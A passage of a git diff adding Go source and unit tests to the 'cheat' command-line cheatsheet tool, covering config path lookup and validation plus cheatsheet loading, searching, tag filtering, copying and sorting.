error on unreadable config") + } +} + +// TestEmptyEditor asserts that envvars are respected if an editor is not +// specified in the configs +func TestEmptyEditor(t *testing.T) { + + // clear the environment variables + os.Setenv("VISUAL", "") + os.Setenv("EDITOR", "") + + // initialize a config + conf, err := New(map[string]interface{}{}, mock.Path("conf/empty.yml")) + if err == nil { + t.Errorf("failed to return an error on empty editor") + } + + // set editor, and assert that it is respected + os.Setenv("EDITOR", "foo") + conf, err = New(map[string]interface{}{}, mock.Path("conf/empty.yml")) + if err != nil { + t.Errorf("failed to init configs: %v", err) + } + if conf.Editor != "foo" { + t.Errorf("failed to respect editor: want: foo, got: %s", conf.Editor) + } + + // set visual, and assert that it overrides editor + os.Setenv("VISUAL", "bar") + conf, err = New(map[string]interface{}{}, mock.Path("conf/empty.yml")) + if err != nil { + t.Errorf("failed to init configs: %v", err) + } + if conf.Editor != "bar" { + t.Errorf("failed to respect editor: want: bar, got: %s", conf.Editor) + } +} diff --git a/internal/config/path.go b/internal/config/path.go new file mode 100644 index 0000000..41462f3 --- /dev/null +++ b/internal/config/path.go @@ -0,0 +1,68 @@ +package config + +import ( + "fmt" + "os" + "path" + + "github.com/mitchellh/go-homedir" +) + +// Path returns the config file path +func Path(sys string) (string, error) { + + var paths []string + + // if CHEAT_CONFIG_PATH is set, return it + if os.Getenv("CHEAT_CONFIG_PATH") != "" { + + // expand ~ + expanded, err := homedir.Expand(os.Getenv("CHEAT_CONFIG_PATH")) + if err != nil { + return "", fmt.Errorf("failed to expand ~: %v", err) + } + + return expanded, nil + + // OSX config paths + } else if sys == "darwin" { + + paths = []string{ + path.Join(os.Getenv("XDG_CONFIG_HOME"), "/cheat/conf.yml"), + path.Join(os.Getenv("HOME"), ".config/cheat/conf.yml"), + path.Join(os.Getenv("HOME"), ".cheat/conf.yml"), + } + + // Linux config paths + } else if sys == "linux" { + + paths = []string{ + path.Join(os.Getenv("XDG_CONFIG_HOME"), "/cheat/conf.yml"), + path.Join(os.Getenv("HOME"), ".config/cheat/conf.yml"), + path.Join(os.Getenv("HOME"), ".cheat/conf.yml"), + "/etc/cheat/conf.yml", + } + + // Windows config paths + } else if sys == "windows" { + + paths = []string{ + fmt.Sprintf("%s/cheat/conf.yml", os.Getenv("APPDATA")), + fmt.Sprintf("%s/cheat/conf.yml", os.Getenv("PROGRAMDATA")), + } + + // Unsupported platforms + } else { + return "", fmt.Errorf("unsupported os: %s", sys) + } + + // check if the config file exists on any paths + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p, nil + } + } + + // we can't find the config file if we make it this far + return "", fmt.Errorf("could not locate config file") +} diff --git a/internal/config/validate.go b/internal/config/validate.go new file mode 100644 index 0000000..19510ad --- /dev/null +++ b/internal/config/validate.go @@ -0,0 +1,64 @@ +package config + +import ( + "fmt" +) + +// Validate returns an error if the config is invalid +func (c *Config) Validate() error { + + // assert that an editor was specified + if c.Editor == "" { + return fmt.Errorf("config error: editor unspecified") + } + + // assert that at least one cheatpath was specified + if len(c.Cheatpaths) == 0 { + return fmt.Errorf("config error: no cheatpaths specified") + } + + // assert that each path and name is unique + names := make(map[string]bool) + paths := make(map[string]bool) + + // assert that each cheatpath is valid + for _, cheatpath := range c.Cheatpaths { + + // assert that the cheatpath is valid + if err := cheatpath.Validate(); err != nil { + return fmt.Errorf("config error: %v", err) + } + + // assert that the name is unique + if _, ok := names[cheatpath.Name]; ok { + return fmt.Errorf( + "config error: cheatpath name is not unique: %s", + cheatpath.Name, + ) + } + names[cheatpath.Name] = true + + // assert that the path is unique + if _, ok := paths[cheatpath.Path]; ok { + return fmt.Errorf( + "config error: cheatpath path is not unique: %s", + cheatpath.Path, + ) + } + paths[cheatpath.Path] = true + } + + // TODO: assert valid styles? + + // assert that the formatter is valid + formatters := map[string]bool{ + "terminal": true, + "terminal256": true, + "terminal16m": true, + } + if _, ok := formatters[c.Formatter]; !ok { + return fmt.Errorf("config error: formatter is invalid: %s", c.Formatter) + } + + return nil +} diff --git a/internal/config/validate_test.go b/internal/config/validate_test.go new file mode 100644 index 0000000..d5f37bd --- /dev/null +++ b/internal/config/validate_test.go @@ -0,0 +1,150 @@ +package config + +import ( + "testing" + + "github.com/cheat/cheat/internal/cheatpath" +) + +// TestValidateCorrect asserts that valid configs are validated successfully +func TestValidateCorrect(t *testing.T) { + + // mock a config + conf := Config{ + Colorize: true, + Editor: "vim", + Formatter: "terminal16m", + Cheatpaths: []cheatpath.Cheatpath{ + cheatpath.Cheatpath{ + Name: "foo", + Path: "/foo", + ReadOnly: false, + Tags: []string{}, + }, + }, + } + + // assert that no errors are returned + if err := conf.Validate(); err != nil { + t.Errorf("failed to validate valid config: %v", err) + } +} + +// TestInvalidateMissingEditor asserts that configs with unspecified editors +// are invalidated +func TestInvalidateMissingEditor(t *testing.T) { + + // mock a config + conf := Config{ + Colorize: true, + Formatter: "terminal16m", + Cheatpaths: []cheatpath.Cheatpath{ + cheatpath.Cheatpath{ + Name: "foo", + Path: "/foo", + ReadOnly: false, + Tags: []string{}, + }, + }, + } + + // assert that no errors are returned + if err := conf.Validate(); err == nil { + t.Errorf("failed to invalidate config with unspecified editor") + } +} + +// TestInvalidateMissingCheatpaths asserts that configs without cheatpaths are +// invalidated +func TestInvalidateMissingCheatpaths(t *testing.T) { + + // mock a config + conf := Config{ + Colorize: true, + Editor: "vim", + Formatter: "terminal16m", + } + + // assert that no errors are returned + if err := conf.Validate(); err == nil { + t.Errorf("failed to invalidate config without cheatpaths") + } +} + +// TestMissingInvalidFormatters asserts that configs which contain invalid +// formatters are invalidated +func TestMissingInvalidFormatters(t *testing.T) { + + // mock a config + conf := Config{ + Colorize: true, + Editor: "vim", + } + + // assert that no errors are returned + if err := conf.Validate(); err == nil { + t.Errorf("failed to invalidate config without formatter") + } +} + +// TestInvalidateDuplicateCheatpathNames asserts that configs which contain +// cheatpaths with duplcated names are invalidated +func TestInvalidateDuplicateCheatpathNames(t *testing.T) { + + // mock a config + conf := Config{ + Colorize: true, + Editor: "vim", + Formatter: "terminal16m", + Cheatpaths: []cheatpath.Cheatpath{ + cheatpath.Cheatpath{ + Name: "foo", + Path: "/foo", + ReadOnly: false, + Tags: []string{}, + }, + cheatpath.Cheatpath{ + Name: "foo", + Path: "/bar", + ReadOnly: false, + Tags: []string{}, + }, + }, + } + + // assert that no errors are returned + if err := conf.Validate(); err == nil { + t.Errorf("failed to invalidate config with cheatpaths with duplicate names") + } +} + +// TestInvalidateDuplicateCheatpathPaths asserts that configs which contain +// cheatpaths with duplcated paths are invalidated +func TestInvalidateDuplicateCheatpathPaths(t *testing.T) { + + // mock a config + conf := Config{ + Colorize: true, + Editor: "vim", + Formatter: "terminal16m", + Cheatpaths: []cheatpath.Cheatpath{ + cheatpath.Cheatpath{ + Name: "foo", + Path: "/foo", + ReadOnly: false, + Tags: []string{}, + }, + cheatpath.Cheatpath{ + Name: "bar", + Path: "/foo", + ReadOnly: false, + Tags: []string{}, + }, + }, + } + + // assert that no errors are returned + if err := conf.Validate(); err == nil { + t.Errorf("failed to invalidate config with cheatpaths with duplicate paths") + } +} diff --git a/internal/mock/path.go b/internal/mock/path.go new file mode 100644 index 0000000..3967155 --- /dev/null +++ b/internal/mock/path.go @@ -0,0 +1,29 @@ +package mock + +import ( + "fmt" + "path" + "path/filepath" + "runtime" +) + +// Path returns the absolute path to the specified mock file. +func Path(filename string) string { + + // determine the path of this file during runtime + _, thisfile, _, _ := runtime.Caller(0) + + // compute the config path + file, err := filepath.Abs( + path.Join( + filepath.Dir(thisfile), + "../../mocks", + filename, + ), + ) + if err != nil { + panic(fmt.Errorf("failed to resolve config path: %v", err)) + } + + return file +} diff --git a/internal/sheet/copy.go b/internal/sheet/copy.go new file mode 100644 index 0000000..30a206f --- /dev/null +++ b/internal/sheet/copy.go @@ -0,0 +1,51 @@ +package sheet + +import ( + "fmt" + "io" + "os" + "path" +) + +// Copy copies a cheatsheet to a new location +func (s *Sheet) Copy(dest string) error { + + // NB: while the `infile` has already been loaded and parsed into a `sheet` + // struct, we're going to read it again here. This is a bit wasteful, but + // necessary if we want the "raw" file contents (including the front-matter). + // This is because the frontmatter is parsed and then discarded when the file + // is loaded via `sheets.Load`. + infile, err := os.Open(s.Path) + if err != nil { + return fmt.Errorf("failed to open cheatsheet: %s, %v", s.Path, err) + } + defer infile.Close() + + // create any necessary subdirectories + dirs := path.Dir(dest) + if dirs != "." { + if err := os.MkdirAll(dirs, 0755); err != nil { + return fmt.Errorf("failed to create directory: %s, %v", dirs, err) + } + } + + // create the outfile + outfile, err := os.Create(dest) + if err != nil { + return fmt.Errorf("failed to create outfile: %s, %v", dest, err) + } + defer outfile.Close() + + // copy file contents + _, err = io.Copy(outfile, infile) + if err != nil { + return fmt.Errorf( + "failed to copy file: infile: %s, outfile: %s, err: %v", + s.Path, + dest, + err, + ) + } + + return nil +} diff --git a/internal/sheet/copy_test.go b/internal/sheet/copy_test.go new file mode 100644 index 0000000..63915dc --- /dev/null +++ b/internal/sheet/copy_test.go @@ -0,0 +1,102 @@ +package sheet + +import ( + "io/ioutil" + "os" + "path" + "testing" +) + +// TestCopyFlat asserts that Copy correctly copies files at a single level of +// depth +func TestCopyFlat(t *testing.T) { + + // mock a cheatsheet file + text := "this is the cheatsheet text" + src, err := ioutil.TempFile("", "foo-src") + if err != nil { + t.Errorf("failed to mock cheatsheet: %v", err) + } + defer src.Close() + defer os.Remove(src.Name()) + + if _, err := src.WriteString(text); err != nil { + t.Errorf("failed to write to mock cheatsheet: %v", err) + } + + // mock a cheatsheet struct + sheet, err := New("foo", src.Name(), []string{}, false) + if err != nil { + t.Errorf("failed to init cheatsheet: %v", err) + } + + // compute the outfile's path + outpath := path.Join(os.TempDir(), sheet.Title) + defer os.Remove(outpath) + + // attempt to copy the cheatsheet + err = sheet.Copy(outpath) + if err != nil { + t.Errorf("failed to copy cheatsheet: %v", err) + } + + // assert that the destination file contains the correct text + got, err := ioutil.ReadFile(outpath) + if err != nil { + t.Errorf("failed to read destination file: %v", err) + } + if string(got) != text { + t.Errorf( + "destination file contained wrong text: want: '%s', got: '%s'", + text, + got, + ) + } +} + +// TestCopyDeep asserts that Copy correctly copies files at several levels of +// depth +func TestCopyDeep(t *testing.T) { + + // mock a cheatsheet file + text := "this is the cheatsheet text" + src, err := ioutil.TempFile("", "foo-src") + if err != nil { + t.Errorf("failed to mock cheatsheet: %v", err) + } + defer src.Close() + defer os.Remove(src.Name()) + + if _, err := src.WriteString(text); err != nil { + t.Errorf("failed to write to mock cheatsheet: %v", err) + } + + // mock a cheatsheet struct + sheet, err := New("/cheat-tests/alpha/bravo/foo", src.Name(), []string{}, false) + if err != nil { + t.Errorf("failed to init cheatsheet: %v", err) + } + + // compute the outfile's path + outpath := path.Join(os.TempDir(), sheet.Title) + defer os.RemoveAll(path.Join(os.TempDir(), "cheat-tests")) + + // attempt to copy the cheatsheet + err = sheet.Copy(outpath) + if err != nil { + t.Errorf("failed to copy cheatsheet: %v", err) + } + + // assert that the destination file contains the correct text + got, err := ioutil.ReadFile(outpath) + if err != nil { + t.Errorf("failed to read destination file: %v", err) + } + if string(got) != text { + t.Errorf( + "destination file contained wrong text: want: '%s', got: '%s'", + text, + got, + ) + } +} diff --git a/internal/sheet/match.go b/internal/sheet/match.go new file mode 100644 index 0000000..7022aee --- /dev/null +++ b/internal/sheet/match.go @@ -0,0 +1,7 @@ +package sheet + +// Match encapsulates search matches within cheatsheets +type Match struct { + Line int + Text string +} diff --git a/internal/sheet/search.go b/internal/sheet/search.go new file mode 100644 index 0000000..983744d --- /dev/null +++ b/internal/sheet/search.go @@ -0,0 +1,45 @@ +package sheet + +import ( + "regexp" + "strings" + + "github.com/mgutz/ansi" +) + +// Search searches for regexp matches in a cheatsheet's text, and optionally +// colorizes matching strings. +func (s *Sheet) Search(reg *regexp.Regexp, colorize bool) []Match { + + // record matches + matches := []Match{} + + // search through the cheatsheet's text line by line + // TODO: searching line-by-line is surely the "naive" approach. Revisit this + // later with an eye for performance improvements. + for linenum, line := range strings.Split(s.Text, "\n") { + + // exit early if the line doesn't match the regex + if !reg.MatchString(line) { + continue + } + + // init the match + m := Match{ + Line: linenum + 1, + Text: strings.TrimSpace(line), + } + + // colorize the matching text if so configured + if colorize { + m.Text = reg.ReplaceAllStringFunc(m.Text, func(matched string) string { + return ansi.Color(matched, "red+b") + }) + } + + // record the match + matches = append(matches, m) + } + + return matches +} diff --git a/internal/sheet/search_test.go b/internal/sheet/search_test.go new file mode 100644 index 0000000..5335812 --- /dev/null +++ b/internal/sheet/search_test.go @@ -0,0 +1,185 @@ +package sheet + +import ( + "reflect" + "regexp" + "testing" + + "github.com/davecgh/go-spew/spew" +) + +// TestSearchNoMatch ensures that the expected output is returned when no +// matches are found +func TestSearchNoMatch(t *testing.T) { + + // mock a cheatsheet + sheet := Sheet{ + Text: "The quick brown fox\njumped over\nthe lazy dog.", + } + + // compile the search regex + reg, err := regexp.Compile("(?i)foo") + if err != nil { + t.Errorf("failed to compile regex: %v", err) + } + + // search the sheet + matches := sheet.Search(reg, false) + + // assert that no matches were found + if len(matches) != 0 { + t.Errorf("failure: expected no matches: got: %s", spew.Sdump(matches)) + } +} + +// TestSearchSingleMatchNoColor asserts that the expected output is returned +// when a single match is returned, and no colorization is applied. +func TestSearchSingleMatchNoColor(t *testing.T) { + + // mock a cheatsheet + sheet := Sheet{ + Text: "The quick brown fox\njumped over\nthe lazy dog.", + } + + // compile the search regex + reg, err := regexp.Compile("(?i)fox") + if err != nil { + t.Errorf("failed to compile regex: %v", err) + } + + // search the sheet + matches := sheet.Search(reg, false) + + // specify the expected results + want := []Match{ + Match{ + Line: 1, + Text: "The quick brown fox", + }, + } + + // assert that the correct matches were returned + if !reflect.DeepEqual(matches, want) { + t.Errorf( + "failed to return expected matches: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(matches), + ) + } +} + +// TestSearchSingleMatchColorized asserts that the expected output is returned +// when a single match is returned, and colorization is applied +func TestSearchSingleMatchColorized(t *testing.T) { + + // mock a cheatsheet + sheet := Sheet{ + Text: "The quick brown fox\njumped over\nthe lazy dog.", + } + + // compile the search regex + reg, err := regexp.Compile("(?i)fox") + if err != nil { + t.Errorf("failed to compile regex: %v", err) + } + + // search the sheet + matches := sheet.Search(reg, true) + + // specify the expected results + want := []Match{ + Match{ + Line: 1, + Text: "The quick brown \x1b[1;31mfox\x1b[0m", + }, + } + + // assert that the correct matches were returned + if !reflect.DeepEqual(matches, want) { + t.Errorf( + "failed to return expected matches: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(matches), + ) + } +} + +// TestSearchMultiMatchNoColor asserts that the expected output is returned +// when a multiple matches are returned, and no colorization is applied +func TestSearchMultiMatchNoColor(t *testing.T) { + + // mock a cheatsheet + sheet := Sheet{ + Text: "The quick brown fox\njumped over\nthe lazy dog.", + } + + // compile the search regex + reg, err := regexp.Compile("(?i)the") + if err != nil { + t.Errorf("failed to compile regex: %v", err) + } + + // search the sheet + matches := sheet.Search(reg, false) + + // specify the expected results + want := []Match{ + Match{ + Line: 1, + Text: "The quick brown fox", + }, + Match{ + Line: 3, + Text: "the lazy dog.", + }, + } + + // assert that the correct matches were returned + if !reflect.DeepEqual(matches, want) { + t.Errorf( + "failed to return expected matches: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(matches), + ) + } +} + +// TestSearchMultiMatchColorized asserts that the expected output is returned +// when a multiple matches are returned, and colorization is applied +func TestSearchMultiMatchColorized(t *testing.T) { + + // mock a cheatsheet + sheet := Sheet{ + Text: "The quick brown fox\njumped over\nthe lazy dog.", + } + + // compile the search regex + reg, err := regexp.Compile("(?i)the") + if err != nil { + t.Errorf("failed to compile regex: %v", err) + } + + // search the sheet + matches := sheet.Search(reg, true) + + // specify the expected results + want := []Match{ + Match{ + Line: 1, + Text: "\x1b[1;31mThe\x1b[0m quick brown fox", + }, + Match{ + Line: 3, + Text: "\x1b[1;31mthe\x1b[0m lazy dog.", + }, + } + + // assert that the correct matches were returned + if !reflect.DeepEqual(matches, want) { + t.Errorf( + "failed to return expected matches: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(matches), + ) + } +} diff --git a/internal/sheet/sheet.go b/internal/sheet/sheet.go new file mode 100644 index 0000000..45f6b9a --- /dev/null +++ b/internal/sheet/sheet.go @@ -0,0 +1,64 @@ +package sheet + +import ( + "fmt" + "io/ioutil" + "sort" + "strings" + + "github.com/tj/front" +) + +// frontmatter is an un-exported helper struct used in parsing cheatsheets +type frontmatter struct { + Tags []string + Syntax string +} + +// Sheet encapsulates sheet information +type Sheet struct { + Title string + Path string + Text string + Tags []string + Syntax string + ReadOnly bool +} + +// New initializes a new Sheet +func New( + title string, + path string, + tags []string, + readOnly bool, +) (Sheet, error) { + + // read the cheatsheet file + markdown, err := ioutil.ReadFile(path) + if err != nil { + return Sheet{}, fmt.Errorf("failed to read file: %s, %v", path, err) + } + + // parse the front-matter + var fm frontmatter + text, err := front.Unmarshal(markdown, &fm) + if err != nil { + return Sheet{}, fmt.Errorf("failed to parse front-matter: %v", err) + } + + // merge the sheet-specific tags into the cheatpath tags + tags = append(tags, fm.Tags...) + + // sort strings so they pretty-print nicely + sort.Strings(tags) + + // initialize and return a sheet + return Sheet{ + Title: title, + Path: path, + Text: strings.TrimSpace(string(text)) + "\n", + Tags: tags, + Syntax: fm.Syntax, + ReadOnly: readOnly, + }, nil +} diff --git a/internal/sheet/sheet_test.go b/internal/sheet/sheet_test.go new file mode 100644 index 0000000..225c926 --- /dev/null +++ b/internal/sheet/sheet_test.go @@ -0,0 +1,71 @@ +package sheet + +import ( + "reflect" + "testing" + + "github.com/cheat/cheat/internal/mock" +) + +// TestSheetSuccess asserts that sheets initialize properly +func TestSheetSuccess(t *testing.T) { + + // initialize a sheet + sheet, err := New( + "foo", + mock.Path("sheet/foo"), + []string{"alpha", "bravo"}, + false, + ) + if err != nil { + t.Errorf("failed to load sheet: %v", err) + } + + // assert that the sheet loaded correctly + if sheet.Title != "foo" { + t.Errorf("failed to init title: want: foo, got: %s", sheet.Title) + } + + if sheet.Path != mock.Path("sheet/foo") { + t.Errorf( + "failed to init path: want: %s, got: %s", + mock.Path("sheet/foo"), + sheet.Path, + ) + } + + wantText := "# To foo the bar:\n foo bar\n" + if sheet.Text != wantText { + t.Errorf("failed to init text: want: %s, got: %s", wantText, sheet.Text) + } + + // NB: tags should sort alphabetically + wantTags := []string{"alpha", "bar", "baz", "bravo", "foo"} + if !reflect.DeepEqual(sheet.Tags, wantTags) { + t.Errorf("failed to init tags: want: %v, got: %v", wantTags, sheet.Tags) + } + + if sheet.Syntax != "sh" { + t.Errorf("failed to init syntax: want: sh, got: %s", sheet.Syntax) + } + + if sheet.ReadOnly != false { + t.Errorf("failed to init readonly") + } +} + +// TestSheetFailure asserts that an error is returned if the sheet cannot be +// read +func TestSheetFailure(t *testing.T) { + + // initialize a sheet + _, err := New( + "foo", + mock.Path("/does-not-exist"), + []string{"alpha", "bravo"}, + false, + ) + if err == nil { + t.Errorf("failed to return an error on unreadable sheet") + } +} diff --git a/internal/sheet/tagged.go b/internal/sheet/tagged.go new file mode 100644 index 0000000..49f738a --- /dev/null +++ b/internal/sheet/tagged.go @@ -0,0 +1,15 @@ +package sheet + +// Tagged returns true if a sheet was tagged with `needle` +func (s *Sheet) Tagged(needle string) bool { + + // if any of the tags match `needle`, return `true` + for _, tag := range s.Tags { + if tag == needle { + return true + } + } + + // otherwise, return `false` + return false +} diff --git a/internal/sheet/tagged_test.go b/internal/sheet/tagged_test.go new file mode 100644 index 0000000..f91bd24 --- /dev/null +++ b/internal/sheet/tagged_test.go @@ -0,0 +1,26 @@ +package sheet + +import ( + "testing" +) + +// TestTagged ensures that tags are properly recognized as being absent or +// present +func TestTagged(t *testing.T) { + + // initialize a cheatsheet + tags := []string{"foo", "bar", "baz"} + sheet := Sheet{Tags: tags} + + // assert that set tags are recognized as set + for _, tag := range tags { + if sheet.Tagged(tag) == false { + t.Errorf("failed to recognize tag: %s", tag) + } + } + + // assert that unset tags are recognized as unset + if sheet.Tagged("qux") { + t.Errorf("failed to recognize absent tag") + } +} diff --git a/internal/sheets/consolidate.go b/internal/sheets/consolidate.go new file mode 100644 index 0000000..693b0fa --- /dev/null +++ b/internal/sheets/consolidate.go @@ -0,0 +1,23 @@ +package sheets + +import ( + "github.com/cheat/cheat/internal/sheet" +) + +// Consolidate applies cheatsheet "overrides", resolving title conflicts that +// exist among cheatpaths by preferring more local cheatsheets over less local +// cheatsheets. +func Consolidate( + cheatpaths []map[string]sheet.Sheet, +) map[string]sheet.Sheet { + + consolidated := make(map[string]sheet.Sheet) + + for _, cheatpath := range cheatpaths { + for title, sheet := range cheatpath { + consolidated[title] = sheet + } + } + + return consolidated +} diff --git a/internal/sheets/consolidate_test.go b/internal/sheets/consolidate_test.go new file mode 100644 index 0000000..356d897 --- /dev/null +++ b/internal/sheets/consolidate_test.go @@ -0,0 +1,50 @@ +package sheets + +import ( + "reflect" + "testing" + + "github.com/davecgh/go-spew/spew" + + "github.com/cheat/cheat/internal/sheet" +) + +// TestConsolidate asserts that cheatsheets are properly consolidated +func TestConsolidate(t *testing.T) { + + // mock cheatsheets available on multiple cheatpaths + cheatpaths := []map[string]sheet.Sheet{ + + // mock community cheatsheets + map[string]sheet.Sheet{ + "foo": sheet.Sheet{Title: "foo", Path: "community/foo"}, + "bar": sheet.Sheet{Title: "bar", Path: "community/bar"}, + }, + + // mock local cheatsheets + map[string]sheet.Sheet{ + "bar": sheet.Sheet{Title: "bar", Path: "local/bar"}, + "baz": sheet.Sheet{Title: "baz", Path: "local/baz"}, + }, + } + + // consolidate the cheatsheets + consolidated := Consolidate(cheatpaths) + + // specify the expected output + want := map[string]sheet.Sheet{ + "foo": sheet.Sheet{Title: "foo", Path: "community/foo"}, + "bar": sheet.Sheet{Title: "bar", Path: "local/bar"}, + "baz": sheet.Sheet{Title: "baz", Path: "local/baz"}, + } + + // assert that the cheatsheets properly consolidated + if !reflect.DeepEqual(consolidated, want) { + t.Errorf( + "failed to consolidate cheatpaths: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(consolidated), + ) + } + +} diff --git a/internal/sheets/filter.go b/internal/sheets/filter.go new file mode 100644 index 0000000..b0de747 --- /dev/null +++ b/internal/sheets/filter.go @@ -0,0 +1,53 @@ +package sheets + +import ( + "strings" + + "github.com/cheat/cheat/internal/sheet" +) + +// Filter filters cheatsheets that do not match `tag(s)` +func Filter( + cheatpaths []map[string]sheet.Sheet, + tags []string, +) []map[string]sheet.Sheet { + + // buffer a map of filtered cheatsheets + filtered := make([]map[string]sheet.Sheet, 0, len(cheatpaths)) + + // iterate over each cheatpath + for _, cheatsheets := range cheatpaths { + + // create a map of cheatsheets for each cheatpath. The filtering will be + // applied to each cheatpath individually. + pathFiltered := make(map[string]sheet.Sheet) + + // iterate over each cheatsheet that exists on each cheatpath + for title, sheet := range cheatsheets { + + // assume that the sheet should be kept (ie, should not be filtered) + keep := true + + // iterate over each tag. If the sheet does not match *all* tags, filter + // it out. + for _, tag := range tags { + if !sheet.Tagged(strings.TrimSpace(tag)) { + keep = false + } + } + + // if the sheet does match all tags, it passes the filter + if keep { + pathFiltered[title] = sheet + } + } + + // the sheets on this individual cheatpath have now been filtered. Now, + // store those alongside the sheets on the other cheatpaths that also made + // it passed the filter. + filtered = append(filtered, pathFiltered) + } + + // return the filtered cheatsheets on all paths + return filtered +} diff --git a/internal/sheets/filter_test.go b/internal/sheets/filter_test.go new file mode 100644 index 0000000..9e0f33d --- /dev/null +++ b/internal/sheets/filter_test.go @@ -0,0 +1,94 @@ +package sheets + +import ( + "reflect" + "testing" + + "github.com/davecgh/go-spew/spew" + + "github.com/cheat/cheat/internal/sheet" +) + +// TestFilterSingleTag asserts that Filter properly filters results when passed +// a single tag +func TestFilterSingleTag(t *testing.T) { + + // mock cheatsheets available on multiple cheatpaths + cheatpaths := []map[string]sheet.Sheet{ + + map[string]sheet.Sheet{ + "foo": sheet.Sheet{Title: "foo", Tags: []string{"alpha", "bravo"}}, + "bar": sheet.Sheet{Title: "bar", Tags: []string{"bravo", "charlie"}}, + }, + + map[string]sheet.Sheet{ + "baz": sheet.Sheet{Title: "baz", Tags: []string{"alpha", "bravo"}}, + "bat": sheet.Sheet{Title: "bat", Tags: []string{"bravo", "charlie"}}, + }, + } + + // filter the cheatsheets + filtered := Filter(cheatpaths, []string{"bravo"}) + + // assert that the expect results were returned + want := []map[string]sheet.Sheet{ + map[string]sheet.Sheet{ + "foo": sheet.Sheet{Title: "foo", Tags: []string{"alpha", "bravo"}}, + "bar": sheet.Sheet{Title: "bar", Tags: []string{"bravo", "charlie"}}, + }, + + map[string]sheet.Sheet{ + "baz": sheet.Sheet{Title: "baz", Tags: []string{"alpha", "bravo"}}, + "bat": sheet.Sheet{Title: "bat", Tags: []string{"bravo", "charlie"}}, + }, + } + + if !reflect.DeepEqual(filtered, want) { + t.Errorf( + "failed to return expected results: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(filtered), + ) + } +} + +// TestFilterSingleTag asserts that Filter properly filters results when passed +// multiple tags +func TestFilterMultiTag(t *testing.T) { + + // mock cheatsheets available on multiple cheatpaths + cheatpaths := []map[string]sheet.Sheet{ + + map[string]sheet.Sheet{ + "foo": sheet.Sheet{Title: "foo", Tags: []string{"alpha", "bravo"}}, + "bar": sheet.Sheet{Title: "bar", Tags: []string{"bravo", "charlie"}}, + }, + + map[string]sheet.Sheet{ + "baz": sheet.Sheet{Title: "baz", Tags: []string{"alpha", "bravo"}}, + "bat": sheet.Sheet{Title: "bat", Tags: []string{"bravo", "charlie"}}, + }, + } + + // filter the cheatsheets + filtered := Filter(cheatpaths, []string{"alpha", "bravo"}) + + // assert that the expect results were returned + want := []map[string]sheet.Sheet{ + map[string]sheet.Sheet{ + "foo": sheet.Sheet{Title: "foo", Tags: []string{"alpha", "bravo"}}, + }, + + map[string]sheet.Sheet{ + "baz": sheet.Sheet{Title: "baz", Tags: []string{"alpha", "bravo"}}, + }, + } + + if !reflect.DeepEqual(filtered, want) { + t.Errorf( + "failed to return expected results: want:\n%s, got:\n%s", + spew.Sdump(want), + spew.Sdump(filtered), + ) + } +} diff --git a/internal/sheets/load.go b/internal/sheets/load.go new file mode 100644 index 0000000..a90c1d0 --- /dev/null +++ b/internal/sheets/load.go @@ -0,0 +1,77 @@ +package sheets + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + cp "github.com/cheat/cheat/internal/cheatpath" + "github.com/cheat/cheat/internal/sheet" +) + +// Load produces a map of cheatsheet titles to filesystem paths +func Load(cheatpaths []cp.Cheatpath) ([]map[string]sheet.Sheet, error) { + + // create a slice of maps of sheets. This structure will store all sheets + // that are associated with each cheatpath. + sheets := make([]map[string]sheet.Sheet, len(cheatpaths)) + + // iterate over each cheatpath + for _, cheatpath := range cheatpaths { + + // vivify the map of cheatsheets on this specific cheatpath + pathsheets := make(map[string]sheet.Sheet) + + // recursively iterate over the cheatpath, and load each cheatsheet + // encountered along the way + err := filepath.Walk( + cheatpath.Path, func( + path string, + info os.FileInfo, + err error) error { + + // fail if an error occurred while walking the directory + if err != nil { + return fmt.Errorf("error walking path: %v", err) + } + + // don't register directories as cheatsheets + if info.IsDir() { + return nil + } + + // calculate the cheatsheet's "title" (the phrase with which it may be + // accessed. Eg: `cheat tar` - `tar` is the title) + title := strings.TrimPrefix( + strings.TrimPrefix(path, cheatpath.Path), + "/", + ) + + // ignore dotfiles. Otherwise, we'll likely load .git/* + if strings.HasPrefix(title, ".") { + return nil + } + + // parse the cheatsheet file into a `sheet` struct + s, err := sheet.New(title, path, cheatpath.Tags, cheatpath.ReadOnly) + if err != nil { + return fmt.Errorf("could not create sheet: %v", err) + } + + // register the cheatsheet on its cheatpath, keyed by its title + pathsheets[title] = s + return nil + }) + if err != nil { + return sheets, fmt.Errorf("failed to load cheatsheets: %v", err) + } + + // store the sheets on this cheatpath alongside the other cheatsheets on + // other cheatpaths + sheets = append(sheets, pathsheets) + } + + // return the cheatsheets, grouped by cheatpath + return sheets, nil +} diff --git a/internal/sheets/load_test.go b/internal/sheets/load_test.go new file mode 100644 index 0000000..5147c09 --- /dev/null +++ b/internal/sheets/load_test.go @@ -0,0 +1,3 @@ +package sheets + +// TODO diff --git a/internal/sheets/sort.go b/internal/sheets/sort.go new file mode 100644 index 0000000..0374b82 --- /dev/null +++ b/internal/sheets/sort.go @@ -0,0 +1,32 @@ +package sheets + +import ( + "sort" + + "github.com/cheat/cheat/internal/sheet" +) + +// Sort organizes the cheatsheets into an alphabetically-sorted slice +func Sort(cheatsheets map[string]sheet.Sheet) []sheet.Sheet { + + // create a slice that contains the cheatsheet titles + var titles []string + for title := range cheatsheets { + titles = append(titles, title) + } + + // sort the slice of titles + sort.Strings(titles) + + // create a slice of sorted cheatsheets + sorted := []sheet.Sheet{} + + // iterate over the sorted slice of titles, and append cheatsheets to + // `sorted` in an identical (alabetically sequential) order + for _, title := range titles { + sorted = append(sorted, cheatsheets[title]) + } + + // return the sorted slice of cheatsheets + return sorted +} diff --git a/internal/sheets/sort_test.go b/internal/sheets/sort_test.go new file mode 100644 index 0000000..c38d95f --- /dev/null +++ b/internal/sheets/sort_test.go @@ -0,0 +1,34 @@ +package sheets + +import ( + "testing" + + "github.com/cheat/cheat/internal/sheet" +) + +// TestSort asserts that Sort properly sorts sheets +func TestSort(t *testing.T) { + + // mock a map of cheatsheets + sheets := map[string]sheet.Sheet{ + "foo": sheet.Sheet{Title: "foo"}, + "bar": sheet.Sheet{Title: "bar"}, + "baz": sheet.Sheet{Title: "baz"}, + } + + // sort the sheets + sorted 